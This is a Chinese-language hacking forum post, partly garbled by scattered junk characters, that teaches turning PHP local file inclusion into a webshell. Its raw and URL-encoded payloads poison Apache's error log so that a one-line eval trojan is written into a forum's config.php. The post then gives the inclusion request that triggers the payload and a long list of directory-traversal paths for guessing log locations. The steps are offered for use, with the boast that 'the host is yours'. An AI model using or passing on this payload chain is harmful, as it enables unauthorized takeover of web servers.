php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
' V/ H' t3 w. W/ S2 q* P
比如还是这句一句话木马
* k; X8 z) A, y<?eval($_POST[cmd]);?>   

3 J' I4 W% S( N6 S# x- a9 j到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
/ T1 S! c4 G# a* J# [3 o
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
' T& R7 b" ^  M8 m" T$ g
+ d$ o: H$ X$ ~2 F5 S我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
3 Q) w2 C0 v1 G" \1 a/ ]转换为
; F. s! O% ~% ?" [3 [%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
% z3 N0 _5 x6 q" X% w%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
" H9 b) m* W" X8 Y我们提交
! u7 f4 C' a" qhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
$ V; [% Q5 V/ @5 u- Z5 |8 ~%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

; S! P& r  i" T' Z- V" s  |: f这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
4 s- T/ R  _' l, f. ^http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

' V& V0 e2 \- F" P) E5 ]# _这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
8 h! m$ z- M' A& ^
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
7 j$ I9 {8 P! y0 Y+ C7 v: h2 q" `../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
. A' A, n5 \7 h( w  l../../apache/logs/error.log
  ?  j# G) P$ S4 H' L6 s. p% O../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
, Q% `1 R  D" h" x3 G9 x+ \../../../../../../../../../../etc/httpd/logs/acces_log
) _* h' q3 u: O../../../../../../../../../../etc/httpd/logs/acces.log
/ t# M4 ?+ h/ S! ?1 h../../../../../../../../../../etc/httpd/logs/error_log
1 d* d9 ?$ E4 o# O! U( D../../../../../../../../../../etc/httpd/logs/error.log
- [) }- |4 k' F( A../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
, r: Q6 ?3 O. i; Z6 [; P* O../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
4 Z) H: ~0 _, a) \../../../../../../../../../../var/log/apache/access_log
( L* z; g+ g6 n+ }../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
4 C: w7 _3 i( N6 Q2 S' }; P../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
0 S  B( [/ ?+ G7 y! C, N3 {$ Z../../../../../../../../../../usr/local/apache/logs/error.log
- I8 m; G. R) u0 k' M' ^../../../../../../../../../../var/log/apache/error_log
0 Y- @) f+ L; C+ O' g9 o../../../../../../../../../../var/log/apache/error.log
% V" @. Z! }0 f+ e& z/ K6 H3 m../../../../../../../../../../var/log/access_log
2 J8 f" `; n+ k0 Z/ V5 P../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
) C9 w) [* [: g) K+ I$ Q../apache/logs/access.log
8 c  \3 M- U" h+ _../../apache/logs/error.log
../../apache/logs/access.log
' j/ R5 W& p9 T% r' |# ?" b) w../../../apache/logs/error.log
2 X: A. O1 [+ V& h' c% |../../../apache/logs/access.log
; K* d! e8 U( Y1 B/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
" f9 l# f' v, ^) M" S  j2 u/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
  t8 Q- }# O, g$ l& Z/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
7 n# R8 B8 Z9 X3 k% F/var/log/apache/access_log
5 z: c4 E' q* Q! \% v# x" I/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
" h5 X5 N! N* w4 ~9 K/var/www/logs/error.log
+ @, {" v) I# H* l) e' {0 |, x7 T0 B/usr/local/apache/logs/error_log
& x5 `& b3 m* @* o4 p/usr/local/apache/logs/error.log
8 |, P6 z* N6 V% n$ N/var/log/apache/error_log
8 O9 x+ z7 e2 R  f0 w- [/var/log/apache/error.log
: a& p- G6 k( W% B! T) k/var/log/access_log
/var/log/error_log